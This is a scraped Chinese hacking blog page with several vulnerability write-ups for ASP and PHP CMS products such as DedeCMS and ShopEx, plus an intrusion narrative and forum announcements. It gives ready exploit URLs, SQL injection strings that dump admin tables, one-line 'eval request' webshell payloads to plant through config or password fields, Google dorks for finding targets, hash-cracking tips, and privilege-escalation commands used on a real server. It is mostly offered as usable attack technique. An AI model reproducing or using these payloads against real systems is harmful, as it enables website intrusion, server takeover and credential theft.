作者:lan3a
出处:lan3a.com
首先,必须要知道管理员的目录,因为上传只有后台才可以。
在upLoad_bm.asp文件里,首先没有检查来访者的身份。所以可以直接访问
代码如下:
<%
uppath=request("a")&"/" '文件上传路径
filelx=request("b") '文件上传类型 1-jpg 2-jpg&flash 3-htm
formName=request("c") '回传到上页面编辑框所在Form的Name,为空则不回传,只显示上传后的文件名
EditName=request("d") '回传到上页面编辑框的Name
if uppath="" or filelx="" then
%>
上传路径我们可以自己定义,上传类型,不填,程序就一个JS提醒一下。照样执行。
利用方法:upLoad_bm.asp?a=uploadfile
比如www.lan3a.com
利用地址为:www.lan3a.com/admin/upLoad_bm.asp?a=uploadfile
直接上传asp木马。
关键字为:inurl:newgoods.asp?action_key_order=news
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:10766
By:俺是农村的
漏洞文件:plus/carbuyaction.php
<?php
require_once (dirname(__FILE__) . "/../include/common.inc.php");
define('_PLUS_TPL_', DEDEROOT.'/templets/plus');
require_once DEDEINC.'/dedetemplate.class.php';
require_once DEDEINC.'/shopcar.class.php';
require_once DEDEINC.'/memberlogin.class.php';
if($cfg_mb_open=='N')
{
ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","javascript:;");
exit();
}
$cfg_ml = new MemberLogin();
if(!isset($dopost) || empty($dopost)){ //只要$dopost不为空就行,By:俺是农村的。
...
}elseif($dopost == 'return'){
require_once DEDEINC.'/payment/'.$code.'.php'; //变量$code未初始化,By:俺是农村的。
$pay = new $code;
$msg=$pay->respond();
ShowMsg($msg,"javascript:;",0,3000);
exit();
}
?>
http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../
来源:小猪's blog
由于工作关系上网找企业站的源码,发现一个南方数据企业网站管理系统免费版 V12.0 样子不错 功能也符合要求 就下了回来看看,发现一些问题,随便谈谈,也不知道前人有没有发过
粗略的看了下 存在问题的文件有
DownloadShow.asp
Shownews.asp
ProductShow.asp
等等估计还有好多,没仔细看
这几个文件在顶部都有
<!–#Include File=”inc/Check_Sql.asp”–>
防注入系统,先看下源码
<%
‘——–版权说明——————
‘SQL通用防注入程序 V2.0 完美版
‘——–定义部份——————
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
‘自定义需要过滤的字串,用 “|” 分隔
Fy_In = “‘|;|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare”
‘———————————-
%>
<%
Fy_Inf = split(Fy_In,”|”)
‘——–POST部份——————
If Request.Form<>”" Then
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
‘——–写入数据库–头——–
Conn.Execute(“insert into 0791idc_CheckSql(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values(‘”&Request.ServerVariables(“REMOTE_ADDR”)&”‘,’”&Request.ServerVariables(“URL”)&”‘,’POST’,'”&Fy_Post&”‘,’”&replace(Request.Form(Fy_Post),”‘”,”””)&”‘)”)
Conn.close
Set Conn = Nothing
‘——–写入数据库–尾——–
Response.Write “<Script Language=JavaScript>alert(‘严重警告:请不要在参数中包含非法字符尝试注入!’);</Script>”
Response.Write “非法操作:系统做了如下记录<br>”
Response.Write “操作IP:”&Request.ServerVariables(“REMOTE_ADDR”)&”<br>”
Response.Write “操作时间:”&Now&”<br>”
Response.Write “操作页面:”&Request.ServerVariables(“URL”)&”<br>”
Response.Write “提交方式:POST<br>”
Response.Write “提交参数:”&Fy_Post&”<br>”
Response.Write “提交数据:”&Request.Form(Fy_Post)
Response.End
End If
Next
Next
End If
‘———————————-
‘——–GET部份——————-
If Request.QueryString<>”" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
‘——–写入数据库–头——–
Conn.Execute(“insert into 0791idc_CheckSql(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values(‘”&Request.ServerVariables(“REMOTE_ADDR”)&”‘,’”&Request.ServerVariables(“URL”)&”‘,’GET’,'”&Fy_Get&”‘,’”&replace(Request.QueryString(Fy_Get),”‘”,”””)&”‘)”)
Conn.close
Set Conn = Nothing
‘——–写入数据库–尾——–
Response.Write “<Script Language=JavaScript>alert(‘严重警告:请不要在参数中包含非法字符尝试注入!’);</Script>”
Response.Write “非法操作:系统做了如下记录<br>”
Response.Write “操作IP:”&Request.ServerVariables(“REMOTE_ADDR”)&”<br>”
Response.Write “操作时间:”&Now&”<br>”
Response.Write “操作页面:”&Request.ServerVariables(“URL”)&”<br>”
Response.Write “提交方式:GET<br>”
Response.Write “提交参数:”&Fy_Get&”<br>”
Response.Write “提交数据:”&Request.QueryString(Fy_Get)
Response.End
End If
Next
Next
End If
%>
只对post和get提交的数据做了过滤而忘记了cookies
再来看一下存在问题的这些文件
ProductShow.asp 66-74行
dim ID
ID=replace(Trim(request(“ID”)),”‘”,”")
if ID=”" then
response.Redirect(“Product.asp”)
end if
sql=”select * from 0791idc_Product where ID=” & ID & “”
Set rs= Server.CreateObject(“ADODB.Recordset”)
rs.open sql,conn,1,3
可以看到id是用request方式获得的,而且对ID只做了简单的过滤单引号处理
也就是说可以通过cookies提交ID进行注入
具体注入过程就不再累述了,网上关于cookies注入的教程一堆一堆的
关于拿shell
这个就更简单
进后台 系统管理 网站配置
随便找个地方修改成
“%><%eval request(“x”)%><%Const nidaye=”xzlbb.com
然后用一句话客户端连接http://目标网站/inc/config.asp就行了
漏洞分析 | 评论:0
| Trackbacks:0
| 阅读:15981
作者:俺是农村的
QQ:332876777
plus/advancedsearch.php
$sql 变量未初始化。导致鸡助注入。
if($mid == 0) //必须绕过,By:俺是农村的。
{
showmsg('参数不正确,高级自定义搜索必须指定模型id', 'javascript');
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊,绕过有难度,By:俺是农村的。
{
showmsg('自定义搜索模型不存在','-1'); By:小翔
exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品问题,成功绕过! QQ:332876777
{
..............
}
else
{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
................
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............
$dlist->Display();


plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。 By:邻居小男人
作者:俺是农村的
QQ:332876777
\core\include_v5\shopCore.php
public function shopCore( )
{
parent::kernel( );
if ( isset( $_POST['spgdif'] ) )
{
$this->spgdif( ); //进入函数 By:俺是农村的
exit( );
}
............................
}
public function spgdif( )
{
include_once( CORE_DIR."/func_ext.php" );
if ( $_POST['session'] && $_POST['query'] && $_POST['sign'] ) //没任何过滤 QQ:332876777
{
if ( md5( $_POST['query'].$_POST['session']."shopex_stats" ) == $_POST['sign'] ) //MD5 验证,我们可以自己控制。
{
$cert = $this->loadModel( "service/certificate" );
if ( $data = $cert->session_vaild( $_POST['session'] ) )
{
$this->fetchdata( $_POST['query'] );
}
..........................
public function fetchdata( $params )
{
$params = unserialize( $params );
$sql = "SELECT ";
foreach ( $params['fields'] as $key => $value )
{
$sql .= $value['method']."(".$value['name'].")";
if ( $value['alias'] )
{
$sql .= " as ".$value['alias']; //代入sql By:小翔
}
$sql .= ",";
}
$sql = substr( $sql, 0, -1 );
$sql .= " FROM ".$params['tbl']." ";
...............
$db = $this->database( );
ob_start( );
$data = $db->select( $sql );
ob_end_clean( );
if ( $data )
{
echo json_encode( array(
"res" => "succ",
"data" => $data //没任何干扰,全部显示出来!(人品好了点。) By:俺是农村的
) );
}
else
{
echo json_encode( array(
"res" => "fail",
"data" => $sql
) );
}
}
exp在附件
附件: shopex.rar (1.68 K, 下载次数:388)
by:俺是农村的
QQ:332876777
\core\include_v5\crontab.php zend加密后的,我只发布解密后的代码。
public function run( )
{
$this->logFile = HOME_DIR."/logs/access.log.php";
$this->now = time( );
$this->viewStat( );
$messenger =& $this->loadModel( "system/messenger" );
$messenger->runQueue( );
}
public function viewStat( )
{
if ( !file_exists( $this->logFile ) )
{
file_put_contents( $this->logFile, "#<?php exit()?>\n" ); //囧之处!By:小翔
}
if ( isset( $_GET['action'] ) )
{
error_log( $this->now."\t".$_GET['action']."\t".$_GET['p']."\n", 3, $this->logFile );//没有任何过滤,By:小翔
shopex 4.8.5.45144 getshell 0day By:小翔
于:2010.06.09 00:40
来源:bhst.org wwqwwq
上次分析的那套系统中涉及到referer欺骗的一些只是,莫问老大让我详细说明一下,便有了这片文章,错误之处还望指教。
由于没找到测试的目标所以自己就构造了一个测试的文件,文件内容如下:<%
dim referer
dim web_name
dim n
referer=request.servervariables("http_referer")
web_name=request.servervariables("server_name")
n=instr(referer,web_name)
if n>0 then
response.write "<script>alert(/good/)</script>"
else
response.write "<script>alert(/bad/)</script>"
end if
%>
文件url:[url]http://cr178.com/admin/test.asp[/url]
然后用我自己写的一个小工具测试了一下,结果如图所示:

注意这时候我构造的http头的语句为:
void HttpGetPacket(char *packet,char *url,char *host,char *data)
{
wsprintf(packet,"GET %s%s HTTP/1.1"
"Accept: */*"
"Accept-Language: zh-cn"
"Host: %s"
// "Connection: Keep-Alive"
"",
url,data,host);
}
,当我将构造http请求的语句修改为这样时:
void HttpGetPacket(char *packet,char *url,char *host,char *data)
{
wsprintf(packet,"GET %s%s HTTP/1.1"
"Accept: */*"
"Referer: http://cr178.com/admin/test1.asp."
"Accept-Language: zh-cn"
"Host: %s"
// "Connection: Keep-Alive"
"",
url,data,host);
}
细心的朋友应该发现了,多了一个字段Referer: http://cr178.com/admin/test1.asp."
编译以后再测试结果为:

其实就是修改了一个http消息头中的字段,同样用NC也可以实现
============
可以使用Mozilla Firefox插件"Tamper Data"来发送通常的HTTP header
黑友网文 | 评论:0
| Trackbacks:0
| 阅读:13546
BY 流浪的风 于 2010/06/13
来源:久久久电脑工作室 刀客城
今天早上起来检测一下站,直接加admin来到后台,试试admin admin登录,不成功,再试试了储如admin与admin888,admin999,admin123,123456,12345678……皆不成功,再试了下万能密码,提示非法字符,嘿嘿,还有防注入。。。
再去看看主站有什么注入点没,丢到了啊D里,没用,什么也没,都说了有防注入了,这不,IP还被锁定了,郁闷。。。
换了个IP后,再次来到这个站点,找了个图片,看看图片地址,

如图所示,看来后台还是有编辑器的,直接在后台加了个admin_login.asp,红色的ewebeditor编辑器就出来了,可惜,试了半天密码也没成功,数据库设置了防下载,此路不通了。
既然这儿没的利用了,还是到站点上来看看吧。。。
做了防注入,不知有没防cookies呢。
经过一翻波折,也没找到什么点,可能也作了cookie防注入了。
郁闷了哦。。。
有事,出去了会,回来后,无意点到后台来,随手试了试admin加域名,竟然进去了,狂晕了我。
找到上传点, 不能直接上传asp asa cer 之类的文件,上传也自动改名,后来试了试上传a.asp;jpg,嘎嘎,成功,以当前时间+asp;jpg格式为名,嘿嘿,拿下了。
查看下系统组件,ws组件存在,执行cmd命令,拒绝访问,传了个cmd上去,ok,可以执行命令了。
查看了下开放的端口,只是80和1433与3389有的利用,其他的也没开,su那些也没。
不过安装了360,嘿嘿,试试用360 oday吧,虽然时间有一段了,但是成功的还是有的呢。
果然,用360 oday成功拿下服务器。
直接连接3389,登录,提示超出了最大链接数,嘿嘿,谢谢山东大汉给的强制登录的命令mstsc /admin /v:IP 成功登录,接下来,才是重点。
因为网站目录是存在D盘,所以我一来就先打开D盘,跳出了这么个提示

真是第一次见到这么变态的设置,管理员权限都不能打开C盘D盘,百度了下相关的资料,也就有了本文了。
以当前管理身份,提升为SYSTEM权限。
执行的命令:
taskkill /f /im explorer.exe
at time /interactive %systemroot%\explorer.exe
首先,查看当前的系统时间-CMD下运行time命令,
见下图:

执行如图上所示命令后,
稍等一会,系统自动以SYSTEM权限启动

接着,就能为所欲为了,嘎嘎!
最后,来个服务器的配置图

==================
我靠,修改一下权限就可以了,我真是脱裤子放屁,多此一举了我!谢谢枫叶GG的提示,嘿嘿!

友情检测 | 评论:0
| Trackbacks:0
| 阅读:10578
黑客X档案官方论坛正式恢复
我们万众期盼的黑X论坛又奇妙的回来了,在这里首先感谢各位X的热情回归以及无私的支持。我有必要向大家说明论坛的前因后果:如果说利则贪念自生,原管理员利用职务之便搞起了虚假广告诈骗那么鸟为食亡的贪婪毁了论坛。没能强有力的监管。在这里我们让读者失望了,请允许我们真诚的道歉。同时,自从黑X上线一刻,时不时有各种各样的攻击,给大家带来一个不便的访问环境。然而顶住压力,我们还是涅磐重生。
至于新论坛,完全是热心朋友无私捐助。我们都要想他表示感谢!访问速度不是很理想主要有几点,一是服务器网络环境本身不如以前,二是时不时的网络攻击。当然我们会全力以赴应对任何困难。
同时,为了吸取刻骨的教训。我们会采取强有力的措施处理各种违法违纪信息,还大家一片纯净的学习环境。
最后黑x还是耐不住寂寞回来了!
PS:论坛现招聘“无私奉献”于我们的版主,希望更多有能之士驻入我们的大家族,版主需要了解基本的网络知识(基本),有句俗语是:成事之前先做人。如果一个人的小聪明是以令人讨厌的方式表现出来的,那么这个人即使是拥有真才实学,也难以委以重任,望海涵。在选择版主方面我们更多的考虑的是这个人的品质,能力和责任等方面的态度,版主需要为论坛付出大量的时间和精力,如果你愿意为大家奉献,那么就请敲动你的键盘,给我来信吧!
如果对新的论坛发展方面有什么建议,可以联系下我 QQ:864739024
永久的域名www(bbs).hackerxfiles.net
黑客X档案官方交流群 ①11972260
②100744494
③62254757
④友情地方群择日出台
黑客X档案管理团队
----
友情转播,感谢hx小龙提供本站空间!
公告 | 评论:0
| Trackbacks:0
| 阅读:15526
hx小龙 提供的空间 嘎嘎
速度快多了
十分感谢
公告 | 评论:0
| Trackbacks:0
| 阅读:8659
影响版本:=>2.8 商业版
攻击利用:
登陆后台,点击修改密码---新密码设置为 1":eval request("h")’
设置成功后,访问asp/config.asp文件即可,一句话木马被写入到这个文件里面了.
利用前提是程序所应用的数据库服务器,可以外连.这个很关键.
自己搞站时候.遇见的站,网上找不到该版本的漏洞,自己拿回源码读了一下.
找到一个漏洞.还是发出来吧.
读取任意文件漏洞:
可以连上数据库.
mysql -h1.1..1.1 -uuser -ppass
use yourbasename;
select * from sdb_operators;
得到管理员用户密码./shopadmin/ 登陆
后台拿shell,没有仔细研究.
我测试的站,直接用into outfile 一个shell.
网上有个帖子,说可以爆物理路径.测试不可用.
如果install目录没删.下面这个可以看phpinfo
- http://www.target.com/install/svinfo.php?phpinfo=true
另外/home/cache/目录的文件,也是可以爆出来的.
目前shopex 官方站,仍然存在该漏洞. 测试截图如下